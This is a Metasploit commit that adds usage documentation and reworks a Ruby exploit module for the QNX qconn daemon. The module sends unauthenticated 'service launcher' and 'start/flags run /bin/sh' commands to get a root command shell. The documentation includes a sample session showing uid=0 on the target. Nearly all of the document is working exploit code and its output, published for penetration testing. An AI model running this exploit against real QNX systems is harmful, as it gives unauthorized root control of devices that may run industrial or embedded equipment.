Land #9742, QNX exploit improvements

GSoC/Meterpreter_Web_Console
Brent Cook 2018-04-03 07:50:29 -05:00
commit 8c2138f13b
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 171 additions and 60 deletions

View File

@ -0,0 +1,60 @@
## Description
This module uses the qconn daemon on [QNX](http://www.qnx.com/)
systems to gain a shell.
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.
## Vulnerable Application
The QNX qconn daemon is a service provider that provides support,
such as profiling system information, to remote IDE components.
This module has been tested successfully on:
* QNX Neutrino 6.5.0 (x86)
* QNX Neutrino 6.5.0 SP1 (x86)
QNX Neutrino 6.5.0 Service Pack 1 is available here:
* http://www.qnx.com/download/feature.html?programid=23665
## Verification Steps
1. Start `msfconsole`
2. `use exploit/unix/misc/qnx_qconn_exec`
3. `set rhost <IP>`
4. `set rport <PORT>`
5. `run`
6. You should get a session
## Scenarios
```
msf5 > use exploit/unix/misc/qnx_qconn_exec
msf5 exploit(unix/misc/qnx_qconn_exec) > set rhost 172.16.191.215
rhost => 172.16.191.215
msf5 exploit(unix/misc/qnx_qconn_exec) > set rport 8000
rport => 8000
msf5 exploit(unix/misc/qnx_qconn_exec) > run
[*] 172.16.191.215:8000 - Sending payload...
[+] 172.16.191.215:8000 - Payload sent successfully
[*] Found shell.
[*] Command shell session 1 opened (172.16.191.188:33641 -> 172.16.191.215:8000) at 2018-03-21 00:19:37 -0400
0oxdgl2UgHIvCYBO
# id
id
uid=0(root) gid=0(root)
# uname -a
uname -a
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86
```

View File

@ -8,27 +8,31 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
'Name' => 'QNX qconn Command Execution',
'Description' => %q{
This module exploits a vulnerability in the qconn component of
QNX Neutrino which can be abused to allow unauthenticated users to
execute arbitrary commands under the context of the 'root' user.
This module uses the qconn daemon on QNX systems to gain a shell.
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Odell', # Discovery
'Mor!p3r <moriper[at]gmail.com>', # PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
'David Odell', # Discovery
'Mor!p3r', # PoC
'Brendan Coles' # Metasploit
],
'References' =>
[
['OSVDB', '86672'],
['EDB', '21520'],
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html']
['EDB', '21520'],
['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
],
'Payload' =>
{
@ -36,77 +40,124 @@ class MetasploitModule < Msf::Exploit::Remote
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'DefaultOptions' =>
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/interact',
'PAYLOAD' => 'cmd/unix/interact'
},
'Platform' => 'unix', # QNX Neutrino
'Platform' => 'unix', # QNX Neutrino
'Arch' => ARCH_CMD,
'Targets' =>
[
# Tested on QNX Neutrino 6.5 SP1
['Automatic Targeting', { 'auto' => true }]
],
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8000)
Opt::RPORT(8000),
OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
])
end
def check
vprint_status 'Sending check...'
@peer = "#{rhost}:#{rport}"
# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
vprint_status("#{@peer} - Sending check")
connect
req = "service launcher\n"
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
sock.put(req)
res = sock.get_once(-1, 10)
disconnect
res = sock.get_once(-1, 10)
# check response
if res and res =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res and res =~ /QCONN/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.include? 'QCONN'
return CheckCode::Safe
end
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
Rex.sleep 1
res = sock.get_once(-1, 10)
if res.nil? || !res.include?(fingerprint)
return CheckCode::Safe
end
disconnect
CheckCode::Vulnerable
end
def exploit
@peer = "#{rhost}:#{rport}"
# send payload
req = "service launcher\n"
req << "start/flags run /bin/sh -\n"
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
connect
sock.put(req)
res = sock.get_once(-1, 10)
# check response
if res and res =~ /No controlling tty/
print_good("#{@peer} - Payload sent successfully")
else
print_error("#{@peer} - Sending payload failed")
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
handler
disconnect
connect
res = sock.get_once(-1, 10)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.include? 'QCONN'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
print_status 'Sending payload...'
sock.put "start/flags run #{datastore['SHELL']} -\n"
Rex.sleep 1
unless negotiate_shell sock
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
print_good 'Payload sent successfully'
handler
end
def negotiate_shell(sock)
Timeout.timeout(15) do
while true
data = sock.get_once(-1, 10)
if !data || data.length.zero?
return nil
end
if data.include?('#') || data.include?('No controlling tty')
return true
end
Rex.sleep 0.5
end
end
rescue ::Timeout::Error
return nil
end
end